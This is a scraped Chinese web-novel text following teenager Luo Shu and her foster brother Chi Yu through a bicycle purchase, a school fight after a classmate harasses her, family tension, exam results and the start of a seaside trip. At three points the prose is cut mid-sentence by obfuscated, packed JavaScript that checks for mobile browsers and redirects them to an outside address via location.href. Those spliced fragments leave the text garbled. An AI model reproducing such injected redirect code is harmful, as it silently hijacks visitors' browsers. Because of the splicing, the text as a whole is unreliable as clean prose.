池煜直接付了钱，朝老板客气地笑了下，问：“前后刹车是已经装好了么。” 老板点头，“都是装好的。”然后上前教洛姝怎么用刹车。 洛姝拥有了新车却没着急骑走，而是指着一辆白色的死飞，离远看，在暖色灯光下看起来像是陶瓷制的，连车轮都跟店里摆的不太一样，与其说是白色，倒不如说是瓷白色，很新颖的配色，起码在大街上从来没看见过这款样式。 她问池煜：“这辆好看吗？” 老板顺着她手指的方向看过去，店里最贵的那辆，价格在3888。 池煜看了好几眼，“还可以。” 洛姝接着看了店里一圈的价格，“老板，你家的车价格都挺吉利的。” 可不吉利嘛，最便宜的666，最贵的3888，中等价格都是1666。 老板心说，你一双鞋能买最贵的两辆了，他只是笑了笑：“价格吉利也是因为质量在这里嘛。” 洛姝又指着一辆黑白配色的死飞，相对于那辆纯白色有些平平无奇，她问池煜：“这个好看还是刚刚那个？” “上一个。” 洛姝掏出手机扫码，付了钱才说：“那我买啦！” 池煜挑眉：“要两辆换着骑？” 老板睁大眼睛，没想到这姑娘这么财大气粗，说买就买，不由得说：“小妹妹，你不先试试吗，确定喜欢再买啊，不要冲动消费。” 他真怕未成年冲动消费之后，家长直接抄家伙找上门来要求退款。 “给你买的。”洛姝冲池煜笑笑，推着他走，然后回头对目瞪口呆的老板说：“没有冲动消费啊，这是为自己的喜欢买单。” 为自己的喜欢买单…… 老板第一次见这么豪横的人，想到刚刚这小妹妹激情下单后，哥哥竟然没有任何吃惊，又想到他俩脚上那双价格不低的名牌鞋又很快释然了，很快又有些痛心疾首，低声道：“和你们拼了……” 洛姝摸了摸瓷白色的车身，没听清老板在嘀咕什么，只是问池煜：“哥你眼光也太好了吧，这个离近看真的好好看。” 不光看起来像瓷，摸起来的触感都有点像，池煜根本没想到她买的第二辆是为了自己，话到嘴边却还是打了个转：“乱花钱。” “送你的怎么能算乱花钱嘛，后天你生日，就当你的生日礼物了呀！” 洛姝用手指在瓷白的前叉上敲了敲，由衷地感叹了一句后，抬眼看池煜：“喜欢吗，这个生日礼物？” “喜欢。”池煜揉了揉她的发顶。 等到两个人推着车走出店的时候，老板跟着走出来，看着他们像看摇钱树似的：“没事过来玩啊小美女小帅哥。” * 新的一周，洛姝就已经很臭屁地骑车去了学校。 蒋春燕起初不太放心他俩骑车去上学，让池升开车跟在后面好几天，没见出什么岔子便也由着他们这样来去自如地去上学。 赵慕挽很喜欢他们三个人的车，每个都试着骑了一小段，但她胆子太小，不敢在路上骑行，于是也就消了买死飞自行车的念头。 十一月底，天气渐凉。 洛姝跟着池煜和他父母搬了家，池升的珠宝生意越做越大，生意越来越好，换了套郊区的四层别墅楼，位置有些偏，但环境很好。 两辆自行车也搬去了新家。 没过几天，洛姝因为骑车上学被风吹成了感冒，后又发了两天的烧，等她病好后，蒋春燕把他俩的自行车收进了地下室。 他们又回到了步行上学的日子，苏望月知道前因后果后，为此还嘲笑她：“洛洛你这体质也太差了。” 随后骑着那辆骚包的死飞自行车扬长而去。 然而没过几天的周一校会上，校长在台上严厉禁止学生骑行死飞自行车，一经发现就喊家长顺便写一份三千字的检讨。 学生们都坐在操场上，校长话音刚落，场下便开始窃窃私语。 赵慕挽搭着洛姝的脖子，随口说：“是不是咱们学校谁骑死飞出事了？幸好你跟你哥现在有专车接送了。” 洛姝抬手遮了遮刺目的阳光，身子朝后仰了仰：“不知道，没听说谁出事了。” 这个话题也就不了了之，等到傍晚放学，洛姝和赵慕挽照例经过初三教学楼跟池煜和苏望月一块出校门的时候，只看见了池煜一个人。 “苏望月呢？”赵慕挽问。 池煜接过洛姝的书包拿在手里，“他在医院。” 洛姝和赵慕挽错愕，齐声说：“医院？！” “该不会校长禁止学生骑死飞就是因为他吧？”赵慕挽吃惊地张大嘴巴。 洛姝同样惊愕，“他不是每次都在非机动车上骑车吗，没道理会发生交通事故吧？也太让人想不通了。” 池煜其实也想不通，为什么好端端的一辆车会冲进宽敞的非机动车道，然后车身擦倒了苏望月的那辆死飞，苏望月整个人直接被创到了旁边的绿化里，人没什么大碍，被车主第一时间送去了医院，右胳膊骨裂，得养一阵子了。 周末的时候，洛姝和赵慕挽跟着池煜去苏望月家里探望他，蒋春燕也因此得知了苏望月的病因，仓库里那两辆自行车也因此被关上了禁闭。 加之池煜这一年要面临中考，蒋春燕更不会放心让他俩骑车出去。 一直到第二年三月底，天气渐暖，轻便的春装穿上，池升给池煜买了辆单车，让载着洛姝上下学。 洛姝攥着池煜的衣摆，坐在单车后面，看着道路两旁的花枝长出花苞开出了花，吹在脸上的风从凉风变成暖风，就这样步入了六月。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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池煜也看过去，就见洛姝哭着朝他这个方向跑，在她身后是隔壁班打篮球的体育生，打过几个照面，不熟。 苏望月认识这几个体育生，嚷嚷起来：“季翔，杜锋你们干嘛呢！”说着他给洛姝挡在身后：“欺负学妹啊？” 季翔悻悻道：“我们开个玩笑，她就哭着跑了。” 洛姝这会儿不哭了，但眼睛还红红的，一直低着头，池煜面色微沉，接过她的书包从里面拿了张纸巾给她擦脸，蹲下来问：“他们跟你说了什么？” 杜锋小声说：“真没什么啊，随口一说……” 季翔回忆了一下，见池煜脸色不好看，支支吾吾开口：“看她可爱就忍不住逗了一下……” 池煜一直观察着洛姝的反应，只见始终低着头的洛姝肩膀耸了耸，再次掉下眼泪，泪水像是断了线的珠子，顺着脸颊流到下巴，直接侧着身子跑走了。 季翔毫无察觉，挠了挠头声音更小了：“说她这个点了爸妈怎么不来接，是不是不要她了。” “我们就开个玩笑，别介——” 话还没说完，池煜挥着拳头朝他身上招呼，他一躲，拳头擦过鼻子，很快就感受到鼻腔里淌出一阵热流。 季翔一摸，感觉十分丢面，微抬头怒视池煜，抬起拳头就要揍过去：“他妈的，你怎么打人啊？！” “他学过散打，你别和他碰啊！” 苏望月眼看池煜跟季翔这架势不对，拽着池煜朝后走，急声说：“你妹哭着呢！去看看啊。” 杜锋理亏，拦着季翔，苏望月推了池煜一把让他去追洛姝，给季翔一个肘击：“你们他妈的是不是有病啊？啊？随便撩人家妹妹还给弄哭了，打你一拳还算轻的。” 季翔呸了一口，狼狈地擦了下鼻子，一手的血：“我跟他妹道过歉了啊，那他打我这一拳怎么算！” 苏望月回头，两道身影已经走远了，他迈开步跑走前，给季翔杜锋一人一拳：“算什么？” “算你倒霉呗。” 14. 05 池煜追到洛姝的时候她已经跑出了校外，坐在车棚附近的长椅上乖乖等着，额前的刘海被风高高吹起又落下。 他先去附近便利店给她买了爱吃的冰淇淋，然后才走过去坐在她身边：“作业多不多。” 洛姝避开他的视线，看向远处，哭的太狠声音也变了调：“不多。” “吃完再回去。” 苏望月找过来的时候，洛姝正低着头拿着勺子挖冰淇淋球吃，池煜坐在旁边时不时给她擦眼泪，两人默契保持沉默。 平时的池煜总是把“我妹”挂在嘴边，苏望月是独生子，被他这么一带也成了半个妹控。 苏望月把手里买的零食袋放在洛姝旁边，“我跟你哥替你教训了那几个人，别难过了啊。” 洛姝小声道谢。 苏望月又拍了两下池煜的肩膀，示意他家司机来了，先走了。 他这一走，洛姝那盒冰淇淋也所剩无几，天色渐暗，她说，“回去吧。” “这个味道怎么样。”池煜也不知道怎么安慰她，就目前的情况，洛姝这一年来，父母连一通关心她的电话都没打过来，洛亦祥和谢玫仿佛人间蒸发。 倘若说出：“你爸妈不会不要你的”，完全没有信服力。 洛姝知道池煜在拐着弯安慰自己，她点头：“好吃！” “明天还给你买。” “不要，我要减肥了。” “才多大就要减肥，你又不胖。”池煜上下打量她，细胳膊细腿的，夸张着说：“风稍微大点就能给你吹跑。” 洛姝有点苦恼，捏了捏脸颊上的肉，叹气：“才不会，脸上好多肉。” 池煜也学她，伸出手捏了捏：“多可爱。” * 次日大课间，走廊外全是学生趴在栏杆远眺。 季翔直奔一班门口，朝教室里扫了一圈，大声道：“池煜，出来。”然后退到外边等着。 班里坐着的同学全都朝池煜看过来，苏望月皱起眉头，快步走出去：“你搞什么？” 季翔一脸不忿：“不搞什么。就是昨天那事没完。” 正说着，池煜从班里出来，他比季翔高半个头，季翔原本抬头看他一眼，发现身高是个硬伤，朝后退几步，嬉皮笑脸地说：“学霸看着文文弱弱的，昨天手劲还不小哈。” 话里的挑衅意味明显，池煜垂下眼扫了他一眼，扯起唇意味不明地笑了一下，然后转身就朝班里走。 季翔“诶”了声，抬手按住他肩膀：“这就走啦，瞧不起人啊。” 池煜甩开他的手，但季翔就是来挑衅池煜的，再次把手搭上去就要去拽池煜的后衣领。 池煜躲开，他伸出的手落空，惯性下挥到了窗台，一瞬的疼痛让他立刻恼羞成怒：“妈的，我昨天不就跟你妹说了两句话，你至于吗？” 池煜瞥他一眼：“怎么不至于。” 他们之间火药味越来越浓烈，趴在栏杆上的学生都把身子转过来，路过的人也都放慢步调，好奇心作祟下，都在看他俩等会到底会发生什么。 季翔嗤笑，吊儿郎当的：“我又没说她的腿又细又长适合当炮架，你急什么？” 苏望月脸色一变，张开嘴就要骂回去的时候，池煜一拳朝他脸上招呼去：“你敢说一句试试。” 这是季翔被池煜打的第二拳，依着惯性他朝后踉跄了两步，周围全是围观的人，让他一下失了面子里子，索性也不管不顾朝池煜挥起拳头：“我操|你妹的！” 池煜小时候学过几年散打，行动比较敏捷，轻而易举躲了季翔挥过来的拳头，而后攥紧的拳头再一次往季翔脸上砸，他声音很低，带着警告意味：“你再说一句试试！” “池煜！” 走廊有监控，苏望月赶紧拦下池煜，季翔摔在地上开始骂骂咧咧，跳起来就朝池煜那边踹去，“我操——” “那边怎么回事！你们两个哪个班的？！”教导主任声音如钟，手持戒尺严肃地看着他俩，又看了眼拉架的苏望月：“还有你，你们仨都给我滚来办公室！” * 蒋春燕接到池煜班主任打来的电话，一刻也不敢耽误，急匆匆赶到学校。 路过办公室窗口，就见池煜和苏望月站在一块像是在听训，旁边还有个脸上挂彩的男生一脸不服气。 “这是怎么啦，柴老师？”蒋春燕敲门。 柴秋月给蒋春燕搬了把椅子：“池煜妈妈您来了，请坐。是这样的，池煜跟同学起了点小摩擦……把人给打了。” 蒋春燕一脸不可置信地看着儿子，就见儿子垂在裤边的手关节通红一片，白皙肤色下很明显，身上倒是没见哪有脏的地方，脸上更是没有任何被揍的痕迹。 她在心中缓了口气，但很快又忍不住气闷。 池煜从小到大成绩都好，一直都是老师家长口中的好学生，从来没有被叫过家长，这是蒋春燕第一次被老师喊家长，竟然是来处理纠纷。 “这孩子给您添麻烦了……”蒋春燕赔着笑，两只手放在膝盖上，身体微微前倾：“就是不知道这是怎么一回事啊？小煜平时很听话的。” 她顿了顿，意有所指地说：“这其中是不是有什么误会啊……” 柴秋月叹口气：“池煜，来，你跟妈妈说。” 池煜沉默，柴秋月看了眼脸上已经有怒意的蒋春燕，对苏望月说：“望月，你说，你当时也在现场。” 苏望月挠头：“我能从昨天发生的事情说么？” 昨天？ 蒋春燕眯了眯眼，她细细想了一下，昨晚池煜和洛姝回来得有些晚，一直到七点才回来，当时洛姝脸色不大好看，但带回一整袋零食。 池煜一向对洛姝当亲妹妹一样看待，难道是因为被打的这小子和洛姝早恋，昨天送零食的时候被池煜看见了，今天池煜实在看不惯才揍了人家？ 就在她脑补了一出戏的时候，苏望月得到了柴秋月的应允，开始说起来：“昨天放学，我跟池煜一出班门就看见他妹妹被季翔惹哭了，然后我们问怎么回事的时候，池煜……他冲动给了季翔一拳。” 蒋春燕拧起眉，看着脸上挂彩的季翔：“你怎么惹哭我们家洛洛的？” 季翔偏过脸，声音很弱：“我只是问她放学为什么不回家，开玩笑说她是不是爸妈不要她了。”他说完自知理亏，立刻闭嘴。 “你有家教吗？你凭什么这么……”蒋春燕说到一半自知太过激动，立刻闭上嘴，突然觉得池煜也没揍错：“今天是怎么回事？” 还是苏望月开口，“他大课间喊池煜出去，要打池煜但是被躲开了，然后就……这些监控都能看见的。” 蒋春燕仍是皱起眉：“然后怎么了？小煜不会无缘无故动手的。” 苏望月声音很低，拿手偷偷指了一下季翔：“然后他对洛姝……开黄腔，就被池煜打了。” 季翔的班主任也是才知道怎么一回事，脸色很难看，蒋春燕脸色更是难看，她腾地站起来，敢情这不是因为喜欢洛姝被池煜发现才被打。 她压着怒气对柴秋月说：“您都听见了。我们小煜打人确实不对，但是更过分的另有其人。小小年纪竟然是这样的思想，长大了还得了？！” 柴秋月赶忙安抚：“池煜妈妈您先消消气。这事儿确实是季翔做得不对，池煜当哥哥的呢，护着妹妹的心我理解，但是…这动手打人就是不对。” 她看着池煜和季翔，劝道：这本来就是一件小事，没必要闹大的。你俩都各自退一步，都道个歉，就算是过去了，啊。” 季翔理亏，他垮着脸冲池煜道歉：“对不起。” 池煜冷着一张脸：“我不接受道歉。” 柴秋月有些头疼，池煜一直在班里名列前茅，各科老师没有不夸他的，他也争气，从来没有出过任何岔子。 季翔是隔壁班的体育生，成绩在班级里吊车尾，从来不会是老师口中的好学生。不管站在哪个角度，她都是偏袒自己学生的，但偏偏池煜不愿意松口。 “你这孩子怎么这么倔？不接受道歉的话，这件事你是不想了了？马上就快中考了，你看你……唉。” “他该道歉的人不是我，是我妹妹。” 柴秋月听得又是皱眉又是摇头：“你就不能代替你妹妹接受道歉吗？老师认为给你道歉也是一样的！再过半个多月就是中考了，不要把心放偏了。” 苏望月没忍住皱起眉头，却不敢反驳。 池煜仍坚持道：“这不一样。” “……” 作为金牌教师，柴秋月第一次被学生当着同事和家长驳了面子，她面上挂不住，此刻更是不太想看见这位好苗子：“算了算了，知道你还在气头上，情绪不太稳定，也不愿意配合老师工作。这样吧，你回家冷静冷静，什么时候冷静好了，什么时候再来上课。” “柴老师，这……” 蒋春燕话说到一半，池煜已经迈开步子走出办公室。 * “你说你！好好的跟老师服个软不行吗？就快中考了，还跟人打架。”一直到上了车，蒋春燕都在提这件事。 她越说越气，虚指着池煜的脑门：“真是长本了！有几个成绩好的会像你这样因为打架被喊家长，你去找找能有几个。” 池煜嗤了声：“我能考进一中的高中部，不会给您丢脸。” 蒋春燕被噎了一下，稍稍软了口气：“我什么时候说你给我丢脸了？说的是一回事吗！这个时候你的重心怎么能偏，啊？你该心无旁骛才对，你瞅瞅你这像话吗？让你学散打是让你打人的吗？” 池煜讥讽：“他该打。” 蒋春燕一噎，突然对洛姝生出几丝埋怨，“洛姝洛姝，她姓洛不姓池，不是你的亲妹妹。对她再好，我们跟她也不是一家人！你为她打架她知道吗？” 池煜冷淡地闭上眼睛：“她不需要知道。” “……” 一天课程结束，洛姝刚和赵慕挽离开班级，鼻青眼肿的季翔被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375725|168327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他班主任押过来，同行而来的还有池升。 男教师满脸堆着笑：“小同学，我们班学生对你出言不逊，他来跟你道歉。” “对不起！”季翔就算是道歉语气也很冲，毫无诚意。班主任在他肩膀拍了一下，他的态度才好一些，但仍旧从鼻子里重重哼了一声。 洛姝没说话，看着池升，池升笑着揽过她：“走了洛洛，咱们回家。” 谁都没有提到季翔，一直到走出校门口，洛姝才问：“哥哥呢？不等他了吗。” 池升：“他在家呢，提前回去了。” 洛姝觉得不太对劲，但没有多问，跟着池升回去之后，看见了绷着一张脸的蒋春燕，沙发上，池煜坐在那儿看电视里的广告，神色晦暗不明。 他的手搭在膝盖上，关节的位置看起来像是受了伤。洛姝不由得想到鼻青脸肿的季翔，她跑过去，拿起他的手，小声问：“这是怎么弄的？” “洛洛，看见小煜手上的血口没有？”蒋春燕放下手里的抹布，扬声道。 洛姝抬起头朝她看过去，就见蒋春燕似笑非笑地说：“有能耐吧？竟然学着跟人打架了，还被叫了家长，老师让我把他带回家来。你猜是为了——” 池升打断妻子的话：“好了！好好的又说这些做什么！他打架那是他自己的问题，你扯有的没的做什么？” 池煜起身，握住洛姝的手拉她回自己的房间，蒋春燕本就一肚子怨气，闻言幽怨地乜了眼洛姝，只觉得儿子若不是为了她，绝对不会跟人打架，也绝不会被老师劝回家。 蒋春燕忍着心中的怒火，转身回了房间，房门被她用力甩上，发出重重声响，坐在池煜房内的洛姝被吓了个激灵。 洛姝想到蒋春燕那个幽怨的眼神，平日那些和谐相处好像都成了假象，在这一刻她感受到了自己的定位，不过是这个家的不速之客罢了。 心里酸酸的，也有些手足无措，好半晌，她才说：“对不起。” 池煜还是那句：“跟你又没关系，他该打。” 如果他该打的话，为什么阿姨那幽怨的目光是看着自己，摆明和她有关系。 晚上吃饭的时候，蒋春燕的气仍然没消，盛饭的时候碗底碰在流理台上发出清脆声响，听起来像是在泄愤，洛姝感觉那几只碗已经碎开了。 饭桌上气氛很压抑，洛姝不敢说话，像个做错了事的小孩，一碗饭怎么都吃不下，更没什么胃口，食不知味吃了几口之后，身旁的池煜放下碗筷，问她：“吃饱了吗？” 洛姝胡乱地点了下头，池煜拉着她带她回房间，房门关上的那一刻，洛姝听见蒋春燕粗重的深呼吸，紧接着是碗磕在桌上的声音。 蒋春燕这是在怪自己吧？ 要不是她，池煜不会跟季翔打架，也不会被叫家长，更不会被蒋春燕带回家来。 所以被埋怨很正常吧，毕竟源头在于她。 洛姝想到这些，不由得咬紧下唇。 她该怎么做？ 难道要去跟蒋春燕道歉？虽然事情因她而起，但她并没有做出什么实质性的反击举动，都是池煜帮她，道歉好像有点没理由。 可是蒋春燕对自己这个态度，显然是因为这件事不太待见自己。 虽然私心里并不想去热脸贴冷屁股，可是到底寄人篱下，倘若被蒋春燕讨厌，是不是该回那栋空荡荡的别墅了。 等到晚上写完作业，洛姝小心翼翼地去了楼下，站在主卧外犹豫了好一阵，准备敲门和蒋春燕聊聊的时候，她听见了房中隐隐约约的争吵声。 屋内压低的窃窃突然变高，蒋春燕浑然不知门外有人在听，情绪有些高涨：“我们有哪点对不起她，要这么给我们惹麻烦？你儿子现在是什么时候你不清楚吗？” 池升没忍住声音也有点高：“是洛洛让他去打的吗？还不是他自己的原因！她一个孩子什么都没做，你跟她撒什么气，甩什么脸色？” “我就是气不过，要不是因为她小煜怎么可能课上到一半让老师劝回家！洛亦祥打得好主意，两手一摊直接让我们养着他闺女。我们白捡个女儿不能打不能骂，现在还要捧在手里！” 后面说的什么，洛姝已经完全听不进去了，她感觉自己像是跌进冰窖，浑身都发冷，本能驱使下她要离开，三两步跑上楼回到房间。 好像又回到了谢玫和洛亦祥之前闹离婚时候，数不尽的争吵，她坐在房间里战战兢兢的，生怕自己被抛弃。 现在的处境，似乎又回到了那时刻。 洛姝躲进被子里捂住自己，直到快要缺氧的时候，她从被子里探出头，听见了池煜房门打开的声音，然后她听见了池煜在楼下的说话声，母子两人似乎吵起来了。 吵了什么却听不清，想来又是因为她。 去看看吗？ 还是别去了，已经够惹人嫌了。 洛姝这样想着，擦掉眼角滑落的泪，把自己埋进被子里，来池家这么久，头一回切切实实感受到什么叫寄人篱下。 15. 06 池煜中考完，洛姝也迎来了两个月的小长假。 他考得相当不错，以969分拿下中考状元，全市排名第一。市内好几所不错的高中听到风声都争着抢他，有出手阔绰的，上来就要给20万奖学金，也有含蓄类型的，三年学费全免。 池煜和洛姝所在的浔城一中是初高中一体，一中在成绩出来的那一刻就将录取通知书递到了他手里，给了20万奖学金并且三年学费全免，直接找到了池升和蒋春梅做思想工作。 无非就是池煜所在的初中班全市前十名他们班出了五个，可见我校师资力量雄厚，高中三年至关重要，千万不能掉队……之类的话。 夫妻俩难得在一件事情上达成一致，选择让儿子继续留在一中，就这样，池煜进了师资力量十分雄厚的火箭班。 苏望月这次考得也不错，他平时吊儿郎当的，刚进校成绩平平，要不是被池煜带着学习，真挤不进一中的英才班。 苏晋和张寅平时忙着生意上的事，对儿子也少了些管教和培养，打心底感谢池煜，请他们一家吃饭。 饭桌上，蒋春燕听着外人夸奖自己儿子，面上虽不显，心里却乐开了花。 菜品一道道摆上了桌，大人们仍旧寒暄着，并未着急动筷。洛姝默默听着他们礼貌客气的你一句我一答，倒了杯温水小口喝着。 张寅瞧了眼三个坐在一块的孩子，忙转动圆盘：“都饿了吧？来，快吃饭。” 她瞧了眼乖顺坐在那儿的洛姝，问蒋春燕：“之前就听望月说小煜有个妹妹，瞧着妹妹年纪不大，上几年级啦？” 蒋春燕看向桌对面低眉顺眼的洛姝，池煜正侧着头和她说话，而后在圆盘停下时给她夹了道菜，是她爱吃的脆皮香酥鸭。 这场面，怎么看都是一副哥哥疼爱妹妹的场面，张寅也看见了，笑起来，感慨：“兄妹俩关系真好。” 虽然洛姝跟池家毫无血缘，但毕竟住在家里，而且洛姝平时乖顺听话，从没犯过错，可谓是再让蒋春燕省心不过。 这会儿听见张寅夸赞，蒋春燕不禁得意起来，这一刻俨然将洛姝当成了自己的亲闺女，“我家洛洛再开学就初三了，跳了一级，长得也显小一点。他们兄妹俩关系一直都好，很少有拌嘴的时候，倒是让我省了不少心。” 张寅举起酒杯和蒋春燕碰了下，说话时又朝正在安静吃饭的洛姝看了眼：“妹妹看着是真的很乖，话也少，文文静静的小淑女。小煜成绩好，有他做表率，她成绩应当也是名列前茅吧？” 蒋春燕想起来洛姝大小考成绩，慢条斯理道：“她呀，比她哥还让我省心，成绩稳定在年级前几名。这次期末考听她说有些难度，还担心考得不好，结果成绩出来倒是比想象得要高很多。我跟她池……我跟孩他爸也不要求她多么出色，开开心心就成。” 说着，她突然从张寅评价洛姝的那句“文文静静的小淑女”中惊觉，洛姝真就是变了性子，之前很活泼伶俐，不知道从什么时候开始突然变成现在这样。 不过她不是很在意：“这孩子小时候很活泼也很闹腾，孩子堆里的孩子王。毕竟是女孩，长大了自然而然就变得文静了。” 张寅听着后半句有些古怪，不过饭桌上热闹，她来不及细想：“是呀，孩子开开心心，有个健康的身体才最重要。现在都太卷啦！学校老师卷，带着孩子家长也一起卷，压力太大。” 说到后面，她开始羡慕起蒋春燕：“燕姐，我真佩服你，教出这么两个优秀的孩子。我家望月从小就不省心，现在能愿意学习，还能考上一中，我跟他爸做梦都要笑醒了！” 苏望月被他妈一个云淡风轻的眼神瞅了眼，忙坐直了身子，他盯着菜，皮笑肉不笑地对池煜说：“我都不用猜，都知道我妈在数落我。” 看了眼正聊得起劲的四个大人，又看着正在给洛姝夹菜却被小声拒绝的池煜，探着头，越过池煜问洛姝：“这次考得怎么样？” 洛姝说：“还好。” 苏望月哦了声：“还好啊，那还好就是稳稳的。咱仨考得都不错，出去玩一圈怎么样？” 洛姝第一反应是，去看海。 小学的时候洛亦祥和谢玫曾说带她去斯米兰玩一周，可惜洛亦祥工作太忙，谢玫又一心扑在丈夫孩子上，没什么想法，于是旅程一推再推。 等到有时间的时候，洛姝待的班级内卷又很严重，她整天忙着卷成绩，也就没了看海的心思，久而久之这趟看海的旅途就不了了之了。 苏望月又问一遍：“出去玩一圈放松放松，咋样，小煜哥？” 池煜挑了下眉，吃掉碗里那根洛姝不爱吃的芹菜，兴致缺缺道：“不怎么样。” 苏望月还想说什么，洛姝的手机响了，她看了眼备注，迟疑了一下，出去接通电话：“爸爸。” 洛亦祥的声音听起来很开心：“洛洛，你康阿姨给爸爸发了一份你的期末考成绩。考得很理想，有什么想要的礼物吗？爸爸给你买。” 洛姝她垂下眼睛，“谢谢爸爸，不用了。” “我们洛洛努力了一年收获了这样理想的成绩，多棒呀，爸爸有奖励要送你，等着这个惊喜吧。怎么不说话，是怪爸爸最近没有给你打电话吗？” 他的声音远了些，洛姝听见那边似乎有人喊他，片刻后，洛亦祥抱歉道：“爸爸最近有些忙，忘了给你打电话，等过些日子爸爸带你出去玩好吗？你不是想去那个……国外哪个地方对不对，等……” 洛姝胃里突然一阵翻江倒海，很难受，不想再听他话里没有期限的等待，这种感觉让她产生不适。 她打断了洛亦祥的话：“爸爸，就这样吧。我在外面，不太方便接你电话。” 洛亦祥顿了顿，很快又笑起来：“难怪你那边有些吵，原来是在外面玩，那要早点回去，别玩太晚。” 洛姝在他尾音还没有落下的时候挂断了电话，耳边没有那道熟悉的嗓音，让她整个人松了一口气。 回到包间的时候，苏望月还在给池煜洗脑，见没什么效果，他又开始动员桌上的四个大人：“爸妈，叔叔阿姨，我们仨这次考得相当不错，要不要放我们一个假出去玩玩？” 蒋春燕第一个跳出来反对：“你们三个年纪太小了，不太合适，跟着咱们大人倒是还好说。” 苏望月笑了笑，拿出平时和他妈说话的态度：“我是觉得跟大人们在一起旅游，我们几个小孩儿跟你们有代沟，玩不到一块儿去。” 张寅和苏晋从小就是散养孩子长大，听到儿子这么一说完全不反对，反而问他想去哪。见状，原先有些不大赞同的蒋春燕也不好说什么，池升觉得十分可行，和他们打着商量：“行呀，国外太远，语言也不通，你们年纪还小，要不就在国内转转？” 蒋春燕问儿子：“小煜有没有想去的地方？用功了这么久，是该出去好好放松一下。” 池煜帮洛姝碗里的葱花挑掉：“我都行。” 蒋春燕又乐呵呵地问洛姝：“洛洛有没有想去的地方？” 洛姝腼腆笑了笑：“我也是去哪里都可以。” 苏望月说：“正好最近没事，我们可以从网上查查景点什么的。” 蒋春燕认真想了想：“不是说''桂林山水甲天下''吗，你们去那儿？” 池煜放下了筷子，难得搭了话茬：“去梁城吧，听说这个季节的景还不错。” * 这趟旅程从三人行扩大成八人游。 洛姝喊来了好朋友梁诺诺和赵慕挽，苏望月也喊来了同班的许玥，方路明和叶哲。 一下子多了五个人，蒋春燕仍不大放心，但面对一众前来送孩子的家长也只能沉住气，一遍遍叮嘱池煜：“到地方要给我打个电话，别只顾着玩，随身携带的东西一定要收好……” 洛姝本来是站在池煜身边的，听着听着突然不太好站在那儿，她不动神色挪动脚步，看见梁诺诺的身影后飞快跑到她身边抱住她：“诺诺！” 两人自从小学毕业后只有周末才能见上面，这会儿见到了很兴奋，梁诺诺开心地手舞足蹈，抱着她不撒手：“可算不用在网上当网友了！” 另一边，蒋春燕叮嘱完儿子，突然想起来洛姝，她扭头刚要说什么，没看到洛姝在身边，找了一圈才发现她正和小伙伴抱一块手舞足蹈，不由得皱起眉头，嘀咕：“这丫头，一说到玩就忘形了。” 她高声喊：“洛洛，来。” 洛姝听见声音，忙松开梁诺诺：“来了。” 留在原地的梁诺诺看见身材臃肿的蒋春燕有点迷茫，印象里洛姝的妈妈很苗条也很漂亮，怎么一年多不见胖了这么多吗……五官似乎也不太一样了…… 想着不打招呼不礼貌，她赶忙追上去和蒋春燕打招呼，声音洪亮：“阿姨好！” 蒋春燕面色稍缓：“你好。自己来的吗？东西都带齐了吧，和洛洛要好好相处啊。” 说完，她瞧着一圈家长都陆续走了，她最后又对池煜说：“照顾好自己还有洛洛，高铁还有半个小时，等会儿看着点不要耽误了时间。” 她这边一走，梁诺诺赶紧给洛姝拉到一旁去，神神秘秘说：“我有句话不知当不当讲。” 洛姝说：“当讲。你说吧。” 梁诺诺面带震惊，甚至开始怀疑自己的记忆出现了差错：“怎么就一年多不见，你妈妈大变样？” 这一年多以来发生的事情，洛姝还没有和梁诺诺说过，她声音低了一些：“那不是我妈妈，是蒋阿姨，我哥哥的妈妈。” “哦哦，原来她就是蒋阿姨啊，”梁诺诺知道洛姝口中的哥哥是从小一起长大的好朋友，她又疑惑着问：“那咱们出来玩，你爸妈呢，怎么没来送你？” “我……他们离婚了。”洛姝看着乘务大厅里拥挤的人群，耳边又是吵杂的声音，突然不知道该怎么继续往下说了。 梁诺诺嘴巴长得老大，狠狠震惊：“我的天啊，你跟我开玩笑呢吧！你爸妈那么恩爱，你跟我说他们……” 她没再接着往下说，一把搂紧洛姝：“哎呀不说啦不说啦！都怪我提起你的伤心事，原谅我吧好洛洛，不提了不提了，都怪我多嘴，真是的。” 洛姝被她逗笑了，她回抱着梁诺诺，感觉心里暖暖的：“我真没事，你要是好奇，我可以到酒店的时候告诉你，你可不能嫌我烦啊。” “才不会嫌你烦啊！ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375726|168327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ！”梁诺诺声音有些大，引来了许玥的注意，作为四个女孩子里年纪最长的，她过来和她们打招呼：“Hello两个小妹妹，聊什么呢？” “没聊什么，姐姐，我们到地方是先去酒店对不对？”梁诺诺干巴巴地笑了两声，转移了话题。 许玥点头：“对，我们到地方先去酒店放一下行李，然后再去吃饭。我订的是民宿，从落地窗就能看见海，景很美。” 这次出行没有报团，攻略是苏望月和许玥一起做的，其他人只需要听指挥就好。 * 到达目的地是两个小时之后，一行人先打车去了民宿，一人一单间，如许玥所说，落地窗外就是海景，大海蔚蓝清澈，很漂亮。 他们出发的时间不算早，办理好入住已经接近午饭点。洛姝带了只20寸的小行李箱和双肩包，放好行李后快速喷了遍防晒，然后去找同行的三个女生给她们也涂一遍。 